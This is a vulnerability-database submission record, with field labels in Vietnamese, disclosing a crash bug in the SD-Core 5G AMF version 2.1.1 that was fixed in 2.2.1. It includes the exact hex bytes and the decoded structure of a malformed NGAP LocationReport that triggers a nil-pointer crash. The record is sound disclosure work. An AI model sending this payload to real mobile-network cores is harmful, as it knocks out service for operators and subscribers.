| tiêu đề | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Mô tả | If a malformed LocationReport is sent to AMF it crashes. Invalid memory address or nil pointer dereference.
Sending this following LocationReport NGAP message
00 12 00 1C 80 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 00 00 03 01 80 00 00 01 40 02 08 00
initiatingMessage : { procedureCode 18, criticality reject, value LocationReport: { protocolIEs { { id 0, criticality reject, value '0000'H } } } }
This will crash the AMF
AMF Version: v2.1.1
Developers have acknowledged the issue and it has been fixed in v2.2.1
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| Nguồn | ⚠️ https://github.com/omec-project/amf/issues/672 |
|---|
| Người dùng | shovon0203 (UID 96191) |
|---|
| Đệ trình | 23/04/2026 17:09 (cách đây 5 các tháng) |
|---|
| Kiểm duyệt | 11/05/2026 18:28 (18 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 362663 [omec-project amf đến 2.1.1 NGAP Message tràn bộ đệm] |
|---|
| điểm | 20 |
|---|